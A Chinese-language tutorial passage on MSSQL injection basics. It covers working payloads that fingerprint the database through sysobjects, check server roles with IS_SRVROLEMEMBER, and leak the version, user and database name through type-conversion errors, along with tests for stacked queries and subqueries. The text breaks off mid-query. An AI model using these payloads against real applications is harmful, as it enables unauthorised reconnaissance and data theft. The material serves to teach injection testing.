MSSQL数据库注入实践
一、MSSQL注入的基础知识
(一)注入点的检测
1、数据库类型判断
-
概述
MSSQL数据库中,存在一个系统表sysobjects,可以通过判断这个表是否存在来判断该数据库是否为MSSQL数据库
-
SQL语句执行
select * from admin where id=1 and exists(select * from sysobjects); # 正常返回结果,则表示存在该数据库表 select * from admin where id=1 and exists(select * from msysobjects);# 报错,表示此数据库没有这个表 消息 208,级别 16,状态 1,第 1 行 对象名 'msysobjects' 无效。
2、当前用户权限判断
-
概述
通过is_sevrolemember这个函数判断当前的用户角色,若存在该用户则该查询语句返回1(代表true)
-
SQL语句执行
select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')); # 执行此语句不报错则表示当前用户为sa用户(权限最高) select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('db_owner')); # 执行此语句不报错则表示当前用户为db_owner用户 select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('public')); # 执行此语句不报错则表示当前用户为普通用户(权限最低)
3、返回信息的判断
-
概述
可以通过构造SQL语句进行数据库查询操作,来从数据库的返回的信息筛选出有用的信息,例如报错信息的数据库表名,当前用户名等
-
SQL语句执行
-
通过报错信息查看数据库版本信息
select * from admin where id=1 and @@VERSION>0; # 数据库返回 消息 245,级别 16,状态 1,第 1 行 在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor) ' 转换成数据类型 int 时失败。
-
判断当前数据库是否支持多语句查询
select * from admin where id=1 ;declare @d int;# 不报错则表示支持多语句查询
-
判断当前数据库是否支持子查询
select * from admin where id=1 and (select COUNT(1) from sysobjects)>=0; #不报错则表示支持子查询
-
通过报错信息获取数据库用户名
select * from admin where id=1 and USER >0; # 数据库返回 消息 245,级别 16,状态 1,第 1 行 在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。
-
获取当前数据库名
select * from admin where id=1 and DB_NAME()>0; # 数据库返回 消息 245,级别 16,状态 1,第 1 行 在将 nvarchar 值 'TestDB' 转换成数据类型 int 时失败。
-
获取本地服务的名称
select *
-